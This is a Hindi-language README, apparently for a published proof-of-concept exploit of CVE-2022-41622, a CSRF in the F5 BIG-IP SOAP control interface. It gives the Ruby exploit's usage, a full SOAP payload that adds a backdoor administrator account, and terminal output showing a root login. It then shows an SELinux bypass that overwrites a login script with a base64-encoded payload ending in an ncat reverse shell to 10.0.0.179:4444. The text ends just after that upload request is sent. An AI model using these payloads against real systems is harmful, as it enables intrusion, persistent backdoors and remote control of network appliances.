
CVE-2022-41622 के लिए एक PoC एक्सप्लॉइट - F5 BIG-IP कंट्रोल प्लेन में एक CSRF जो दूरस्थ रूट की ओर ले जाता है
यह CVE-2022-41622 के लिए एक प्रूफ ऑफ कॉन्सेप्ट है, जो F5 Big-IP में एक CSRF है जो रिमोट कोड निष्पादन की ओर ले जाता है। इसका उपयोग करना थोड़ा पेचीदा है, लेकिन मैं आपको अपने पसंदीदा उपयोग-मामलों के बारे में बताऊँगा।
मुख्य भेद्यता F5 Big-IP के SOAP इंटरफ़ेस में एक क्रॉस-साइट अनुरोध जालसाजी (CSRF) है, जिसे /iControl/iControlPortal.cgi के माध्यम से एक्सेस किया जाता है, और जो root के रूप में चलता है। लेकिन root होने के बावजूद, हम SELinux नीति द्वारा प्रतिबंधित हैं, जिससे इसका शोषण करना कठिन हो जाता है। हालाँकि, हम नीचे कुछ बायपास दिखाएँगे।
SOAP इंटरफ़ेस में कोई CSRF सुरक्षा नहीं है, जिसका अर्थ है कि एक हमलावर किसी प्रमाणित उपयोगकर्ता के सत्र का लाभ उठाकर कोई भी समर्थित SOAP अनुरोध कर सकता है। WSDL फ़ाइलों की पूरी सूची शामिल है, और हमने कुछ महत्वपूर्ण फ़ाइलों के लिए पेलोड बनाए हैं।
बुनियादी उपयोग इस प्रकार है:
ruby f5-soap-exploit.rb <target> <xml_template> [username:password]
username:password पूरी तरह से परीक्षण के लिए है - यह एक मान्य एडमिन खाता लेता है और SOAP अनुरोध को सीधे सर्वर को भेजता है। यह बिल्कुल भी कोई एक्सप्लॉइट या PoC नहीं है, यह केवल एंडपॉइंट का इच्छित उपयोग है।
यदि आप username:password नहीं देते हैं, तो यह एक CSRF पेलोड प्रिंट करेगा। बग का शोषण करने के लिए, एक प्रमाणित एडमिन को उस पेलोड वाली किसी साइट पर जाना होगा। उनका ब्राउज़र रीडायरेक्ट हो जाएगा और कार्रवाई पृष्ठभूमि में हो जाएगी।
ध्यान दें कि वास्तविक पेलोड सुंदर या किसी भी तरह से छिपे हुए नहीं हैं - वास्तव में इसका शोषण करने के लिए, आपको शायद कुछ प्रयास करने होंगे।
हम इन्हें एक वास्तविक खाते का उपयोग करके प्रदर्शित करेंगे, लेकिन याद रखें कि आप CSRF का उपयोग करके इनमें से किसी का भी शोषण कर सकते हैं!
यह शायद शोषण करने में सबसे आसान है। यह पासवर्ड के साथ एक उपयोगकर्ता खाता जोड़ता है, और आप उस पासवर्ड का उपयोग ssh के माध्यम से लॉग इन करने के लिए कर सकते हैं। बेशक, यह शोरगुल वाला भी है!
(पेलोड में डिफ़ॉल्ट पासवर्ड Password1 है)
$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit
Don't enter a username:password if you want to generate a CSRF exploit!
Value for USERNAME [rontest]: mybackdoor
Value for FULLNAME [Ron Test]: My Backdoor
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]:
Sending the following payload directly to 10.0.0.162...
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:so
apenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl">
<item>
<user>
<name>mybackdoor</name>
<full_name>My Backdoor</full_name>
</user>
<password>
<is_encrypted>true</is_encrypted>
<password>$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0</password>
</password>
<permissions>
<item>
<role>USER_ROLE_ADMINISTRATOR</role>
<partition>[All]</partition>
</item>
</permissions>
<login_shell>/bin/bash</login_shell>
</item>
</users>
</user:create_user_3>
</soapenv:Body>
</soapenv:Envelope>
Response:
<E:Envelope
xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
xmlns:y="http://www.w3.org/2001/XMLSchema"
xmlns:iControl="urn:iControl"
E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:create_user_3Response
xmlns:m="urn:iControl:Management/UserManagement"></m:create_user_3Response>
</E:Body>
</E:Envelope>
$ ssh [email protected]
([email protected]) Password:
([email protected]) You are required to change your password immediately (root enforced)
[...]
[mybackdoor@localhost:NO LICENSE:Standalone] ~ # whoami
root
हमें /etc/profile.d में एक सिमलिंक मिला जो SELinux द्वारा कवर नहीं है:
# ls -l /etc/profile.d/timeout.sh
lrwxrwxrwx. 1 root root 31 Jul 15 02:48 /etc/profile.d/timeout.sh -> ../../var/run/config/timeout.sh
timeout.sh को बदला जा सकता है, और अगली बार जब कोई उपयोगकर्ता लॉग इन करेगा, तो उसमें मौजूद कोई भी कोड चल जाएगा। ध्यान दें कि timeout.sh को ओवरराइट करने से समस्याएँ हो सकती हैं, मुझे नहीं पता कि इसे क्या करना चाहिए (हालाँकि, रीबूट पर इसे बहाल कर दिया जाता है)।
हम timeout.sh को निम्नलिखित से बदल देंगे - मूल रूप से, मूल timeout.sh को पुनर्स्थापित करें फिर एक शेल खोलें (आप इसे examples/ फ़ोल्डर में भी पा सकते हैं):
# Restore the original file
echo 'IwojIFRISVMgSVMgQU4gQVVUTy1HRU5FUkFURUQgRklMRSAtIERPIE5PVCBFRElUISEhCiMKIyBVc2UgdGhlIHRtc2ggc2hlbGwgdXRpbGl0eSB0byBtYWtlIGNoYW5nZXMgdG8gdGhlIHN5c3RlbSBjb25maWd1cmF0aW9uLgojIEZvciBtb3JlIGluZm9ybWF0aW9uLCBzZWUgdG1zaCAtYSBoZWxwIHN5cyBzc2hkLgpQU09VVD1gL2Jpbi9wcyAtLW5vLWhlYWRlcnMgLW8gdHR5IC0kJGAKaWYgWyAiJHtQU09VVDowOjN9IiA9PSAidHR5IiBdOyB0aGVuCiAgICBleHBvcnQgVE1PVVQ9MAplbHNlCiAgICBleHBvcnQgVE1PVVQ9MApmaQoK' | base64 -d > /etc/profile.d/timeout.sh
# Pop a shell
ncat -e /bin/bash 10.0.0.179 4444
यह रहा अनुरोध / प्रतिक्रिया:
$ base64 -w0 < examples/timeout.sh
IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit
Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /var/run/config/timeout.sh
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
Sending the following payload directly to 10.0.0.162...